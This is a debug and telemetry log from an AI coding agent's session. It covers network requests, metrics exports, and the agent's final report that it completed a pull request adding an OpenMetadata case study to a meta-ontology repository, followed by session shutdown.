thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:09.026Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:09.026Z] [INFO] 2026-07-12T04:11:09.026372Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:09.026Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:09.026Z] [INFO] 2026-07-12T04:11:09.026390Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:11:09.026Z] [INFO] \n[2026-07-12T04:11:10.924Z] [INFO] 2026-07-12T04:11:10.920953Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5313dee81c8191a605e77946000884\"), role: \"assistant\", content: [], phase: Some(FinalAnswer), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:11:10.924Z] [INFO] \n[2026-07-12T04:11:13.054Z] [INFO] 2026-07-12T04:11:13.053828Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:11:13.054Z] [INFO] 2026-07-12T04:11:13.053899Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:11:13.054Z] [INFO] \n[2026-07-12T04:11:13.057Z] [INFO] 2026-07-12T04:11:13.054630Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=0\n[2026-07-12T04:11:13.057Z] [INFO] \n[2026-07-12T04:11:13.062Z] [INFO] 2026-07-12T04:11:13.060975Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:11:13.062Z] [INFO] 2026-07-12T04:11:13.061011Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:11:13.062Z] [INFO] 2026-07-12T04:11:13.061184Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:13.062Z] [INFO] \n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104771Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104941Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104969Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104977Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59948\n[2026-07-12T04:11:13.105Z] [INFO] \n[2026-07-12T04:11:13.741Z] [INFO] 2026-07-12T04:11:13.741037Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5313dee81c8191a605e77946000884\"), role: \"assistant\", content: [OutputText { text: \"Implemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\\n\\nKey outcomes:\\n\\n- Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\\n- Added a patch changelog fragment and removed the placeholder file.\\n- Committed and pushed as `4dcfb8e`.\\n- Updated the PR title and description and marked it ready for review.\\n- Working tree is clean and synchronized with `origin/main`.\\n- Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\\n- PR is mergeable with `CLEAN` status.\" }], phase: Some(FinalAnswer), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:11:13.741Z] [INFO] \n[2026-07-12T04:11:13.743Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_60\",\"type\":\"agent_message\",\"text\":\"Implemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\\n\\nKey outcomes:\\n\\n- Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\\n- Added a patch changelog fragment and removed the placeholder file.\\n- Committed and pushed as `4dcfb8e`.\\n- Updated the PR title and description and marked it ready for review.\\n- Working tree is clean and synchronized with `origin/main`.\\n- Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\\n- PR is mergeable with `CLEAN` status.\"}}\n[2026-07-12T04:11:13.743Z] [INFO] \n[2026-07-12T04:11:13.768Z] [INFO] 2026-07-12T04:11:13.768089Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313dd18348191acc84b012696f4d0\"\n[2026-07-12T04:11:13.768Z] [INFO] 2026-07-12T04:11:13.768140Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98962 output_token_count=151 cached_token_count=98048 reasoning_token_count=0 tool_token_count=99113 ttft_ms=1895 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:13.768Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:13.768Z] [INFO] 2026-07-12T04:11:13.768159Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98962 output_token_count=151 cached_token_count=98048 reasoning_token_count=0 tool_token_count=99113 ttft_ms=1895 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:13.768Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:13.768Z] [INFO] \n[2026-07-12T04:11:13.817Z] [INFO] 2026-07-12T04:11:13.816608Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.e2e_duration_ms\" cardinality_limit=2000\n[2026-07-12T04:11:13.817Z] [INFO] \n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817475Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.network_proxy\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817587Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.tool.call\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817710Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium codex.turn.token_usage.input_tokens=2310184 codex.turn.token_usage.cached_input_tokens=2200832 codex.turn.token_usage.non_cached_input_tokens=109352 codex.turn.token_usage.output_tokens=16849 codex.turn.token_usage.reasoning_output_tokens=1322 codex.turn.token_usage.total_tokens=2327033}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.token_usage\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817867Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium codex.turn.token_usage.input_tokens=2310184 codex.turn.token_usage.cached_input_tokens=2200832 codex.turn.token_usage.non_cached_input_tokens=109352 codex.turn.token_usage.output_tokens=16849 codex.turn.token_usage.reasoning_output_tokens=1322 codex.turn.token_usage.total_tokens=2327033}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.memory\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] \n[2026-07-12T04:11:13.995Z] [INFO] 2026-07-12T04:11:13.994913Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:11:13.995Z] [INFO] \n[2026-07-12T04:11:14.040Z] [INFO] 2026-07-12T04:11:14.039828Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:11:14.040Z] [INFO] \n[2026-07-12T04:11:14.062Z] [INFO] 2026-07-12T04:11:14.043409Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:11:14.062Z] [INFO] 2026-07-12T04:11:14.052460Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:11:14.062Z] [INFO] \n[2026-07-12T04:11:14.225Z] [INFO] 2026-07-12T04:11:14.217813Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/read\" rpc.system=\"jsonrpc\" rpc.method=\"thread/read\" rpc.transport=\"in-process\" rpc.request_id=3 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_rollout::recorder: Resumed rollout with 182 items, thread ID: Some(ThreadId { uuid: 019f547d-6d2b-7162-ae64-b2b122b89c77 }), parse errors: 0\n[2026-07-12T04:11:14.225Z] [INFO] \n[2026-07-12T04:11:14.229Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":true},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":true},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":true}]}}\n[2026-07-12T04:11:14.229Z] [INFO] {\"type\":\"turn.completed\",\"usage\":{\"input_tokens\":2310184,\"cached_input_tokens\":2200832,\"output_tokens\":16849,\"reasoning_output_tokens\":1322}}\n[2026-07-12T04:11:14.229Z] [INFO] \n[2026-07-12T04:11:14.249Z] [INFO] 2026-07-12T04:11:14.228280Z DEBUG codex_app_server::thread_state: clearing thread listener during app-server shutdown thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77 listener_generation=1 had_listener=true had_active_turn=false\n[2026-07-12T04:11:14.249Z] [INFO] 2026-07-12T04:11:14.228514Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 1, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.249Z] [INFO] \n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231308Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 2, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231531Z  WARN codex_file_watcher: failed to unwatch /home/box/.codex/skills/.system: No watch was found. about [\"/home/box/.codex/skills/.system\"]\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231574Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 3, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231581Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 24, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231586Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 19, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231593Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 9, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231599Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 12, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231605Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 26, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231612Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 16, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231617Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 22, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231622Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 17, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231628Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 23, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231633Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 11, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231647Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 8, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231658Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 6, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231663Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 15, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231669Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 27, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231674Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 13, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231679Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 4, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231686Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 10, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231698Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 5, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231704Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 18, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231709Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 21, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231715Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 28, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231720Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 7, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231725Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 14, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231730Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 25, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231751Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 20, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.232490Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Submission sub=Submission { id: \"019f5485-abb7-7720-a917-e1e1dc1b3621\", op: Shutdown, client_user_message_id: None, trace: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233292Z DEBUG rmcp::service: RunningService dropped without explicit close(). The connection will be closed asynchronously. For guaranteed cleanup, call close() or cancel() before dropping.\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233606Z DEBUG rmcp::service: RunningService dropped without explicit close(). The connection will be closed asynchronously. For guaranteed cleanup, call close() or cancel() before dropping.\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233680Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: task cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233759Z DEBUG rmcp::transport::streamable_http_client: cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233811Z DEBUG rmcp::transport::worker: worker quit with reason: Cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233840Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: task cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233923Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: serve finished quit_reason=Cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.234506Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.shutdown\" submission.id=\"019f5485-abb7-7720-a917-e1e1dc1b3621\" codex.op=\"shutdown\"}: codex_core::session::handlers: Shutting down Codex instance\n[2026-07-12T04:11:14.251Z] [INFO] \n[2026-07-12T04:11:14.264Z] [INFO] 2026-07-12T04:11:14.250711Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.shutdown\" submission.id=\"019f5485-abb7-7720-a917-e1e1dc1b3621\" codex.op=\"shutdown\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.conversation.turn.count\" cardinality_limit=2000\n[2026-07-12T04:11:14.264Z] [INFO] 2026-07-12T04:11:14.254960Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.shutdown\" submission.id=\"019f5485-abb7-7720-a917-e1e1dc1b3621\" codex.op=\"shutdown\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.rollout.size_bytes\" cardinality_limit=2000\n[2026-07-12T04:11:14.264Z] [INFO] \n[2026-07-12T04:11:14.270Z] [INFO] 2026-07-12T04:11:14.255326Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Agent loop exited\n[2026-07-12T04:11:14.270Z] [INFO] \n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.259504Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:11:14.296Z] [INFO] 2026-07-12T04:11:14.259589Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:11:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"881fd6c0-6fa6-42bb-8a81-e144edd3354d\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=4zX7W1NXYAftvKqaUBunN6YroqnMiA9%2F7MtKGQLhC1x%2FdO5KSAoK1I4fwHh62uIMHSFMWxsl7VixJrYHxfs1RrYLbJ1AmJGp%2FnxBufVStf4fzUfQuH8ujNzMGxqQ\\\"}]}\", 